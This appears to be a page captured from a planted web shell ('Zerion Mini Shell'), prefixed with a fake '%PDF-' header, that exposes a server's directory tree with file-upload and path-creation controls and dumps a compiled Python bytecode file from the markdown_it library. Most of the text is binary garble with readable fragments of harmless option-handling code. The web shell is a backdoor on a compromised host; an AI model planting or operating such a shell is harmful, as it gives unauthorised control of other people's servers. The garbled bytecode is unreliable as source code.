%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/markdown_it/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/markdown_it/__pycache__/utils.cpython-312.pyc

�

'W�d����ddlmZddlmZddlmZddlmZm	Z	m
Z
mZmZmZee
efZ	Gd�de�ZGd�de�ZGd	�d
e�Zd
d�Zy)�)�annotations)�MutableMapping)�Path)�Any�Callable�Iterabler�	TypedDict�castc�|�eZdZUdZded<	ded<	ded<	ded<	ded	<	ded
<	ded<	ded<	d
ed<y)�OptionsTypezOptions for parsing.�int�
maxNesting�bool�html�linkify�typographer�str�quotes�xhtmlOut�breaks�
langPrefix�%Callable[[str, str, str], str] | None�	highlightN��__name__�
__module__�__qualname__�__doc__�__annotations__���3/usr/lib/python3/dist-packages/markdown_it/utils.pyrr
sO����O�/�
�J�%�
�M�;���.��K���N�0��L�3��O�0�4�4�>r!rc�(�eZdZUdZded<	ded<y)�
PresetTypez%Preset configuration for markdown-it.r�optionsz3MutableMapping[str, MutableMapping[str, list[str]]]�
componentsNrr r!r"r$r$$s��/�
���C�C�/r!r$c�H�eZdZdZdd�Zdd�Zdd�Zd d�Zd!d�Zd"d�Z	d#d�Z
d#d	�Zed"d
��Z
e
jd$d��Z
ed%d��Zejd&d
��Zed%d��Zejd&d��Zed%d��Zejd&d��Zed#d��Zejd'd��Zed%d��Zejd&d��Zed%d��Zejd&d��Zed#d��Zejd'd��Zed(d��Zejd)d��Zy)*�OptionsDictzMA dictionary, with attribute access to core markdownit configuration options.c�@�ttt|��|_y�N)r
r�dict�_options)�selfr%s  r"�__init__zOptionsDict.__init__3s���[�$�w�-�8��
r!c� �|j|Sr*�r,�r-�keys  r"�__getitem__zOptionsDict.__getitem__6s���}�}�S�!�!r!c�"�||j|<yr*r0)r-r2�values   r"�__setitem__zOptionsDict.__setitem__9s��"��
�
�c�r!c��|j|=yr*r0r1s  r"�__delitem__zOptionsDict.__delitem__<s���M�M�#�r!c�,�t|j�Sr*)�iterr,�r-s r"�__iter__zOptionsDict.__iter__?����D�M�M�"�"r!c�,�t|j�Sr*)�lenr,r;s r"�__len__zOptionsDict.__len__B����4�=�=�!�!r!c�,�t|j�Sr*)�reprr,r;s r"�__repr__zOptionsDict.__repr__Er=r!c�,�t|j�Sr*)rr,r;s r"�__str__zOptionsDict.__str__HrAr!c� �|jdS)z%Internal protection, recursion limit.rr0r;s r"rzOptionsDict.maxNestingK����}�}�\�*�*r!c�"�||jd<y)Nrr0�r-r5s  r"rzOptionsDict.maxNestingP���&+��
�
�l�#r!c� �|jdS)zEnable HTML tags in source.rr0r;s r"rzOptionsDict.htmlTs���}�}�V�$�$r!c�"�||jd<y)Nrr0rJs  r"rzOptionsDict.htmlYs�� %��
�
�f�r!c� �|jdS)z1Enable autoconversion of URL-like texts to links.rr0r;s r"rzOptionsDict.linkify]s���}�}�Y�'�'r!c�"�||jd<y)Nrr0rJs  r"rzOptionsDict.linkifybs��#(��
�
�i� r!c� �|jdS)z$Enable smartquotes and replacements.rr0r;s r"rzOptionsDict.typographerfs���}�}�]�+�+r!c�"�||jd<y)Nrr0rJs  r"rzOptionsDict.typographerks��',��
�
�m�$r!c� �|jdS)zQuote characters.rr0r;s r"rzOptionsDict.quoteso����}�}�X�&�&r!c�"�||jd<y)Nrr0rJs  r"rzOptionsDict.quotest���"'��
�
�h�r!c� �|jdS)z&Use '/' to close single tags (<br />).rr0r;s r"rzOptionsDict.xhtmlOutxs���}�}�Z�(�(r!c�"�||jd<y)Nrr0rJs  r"rzOptionsDict.xhtmlOut}s��$)��
�
�j�!r!c� �|jdS)z)Convert newlines in paragraphs into <br>.rr0r;s r"rzOptionsDict.breaks�rSr!c�"�||jd<y)Nrr0rJs  r"rzOptionsDict.breaks�rUr!c� �|jdS)z&CSS language prefix for fenced blocks.rr0r;s r"rzOptionsDict.langPrefix�rHr!c�"�||jd<y)Nrr0rJs  r"rzOptionsDict.langPrefix�rKr!c� �|jdS)zEHighlighter function: (content, langName, langAttrs) -> escaped HTML.rr0r;s r"rzOptionsDict.highlight�s���}�}�[�)�)r!c�"�||jd<y)Nrr0rJs  r"rzOptionsDict.highlight�s��%*��
�
�k�"r!N)r%r�return�None)r2rr^r)r2rr5rr^r_)r2rr^r_)r^z
Iterable[str])r^r
)r^r)r5r
r^r_)r^r)r5rr^r_)r5rr^r_)r^r)r5rr^r_)rrrrr.r3r6r8r<r@rDrF�propertyr�setterrrrrrrrrr r!r"r(r(-s���W�
9�"�#��#�"�#�"��+��+����,��,��%��%�
�[�[�&��&��(��(�
�^�^�)��)��,��,����-��-��'��'��]�]�(��(��)��)��_�_�*��*��'��'��]�]�(��(��+��+����,��,��*��*����+��+r!r(c���t|�jd��}g}d}d}|jd��}tt	|��D]�}||j�dk(s�|dk(r*|j
|||dz
j�g�d}na|dk(r,|dj
d	j||dz|��d
}n0|d
k(r+|dj
d	j||dz|��d}|}��|S)Nzutf-8)�encodingrT)�keepends�.������)	r�	read_text�
splitlines�ranger?�rstrip�append�strip�join)�path�text�tests�section�last_pos�lines�is       r"�read_fixture_filerx�s����:�����1�D��E��G��H��O�O�T�O�*�E�
�3�u�:�
�����8�?�?���#��!�|����a��q�1�u��!3�!3�!5�6�7����A���b�	� � �����x�!�|�a�)@�!A�B����A���b�	� � �����x�!�|�a�)@�!A�B����H���Lr!N)rqz
str | Pathr^zlist[list[Any]])�
__future__r�collections.abcr�MutableMappingABC�pathlibr�typingrrrr	r
r�EnvTyperr$r(rxr r!r"�<module>rsT��"�?��K�K�
��c��
"���
?�)�?�.0��0�m+�#�m+�`r!

Zerion Mini Shell 1.0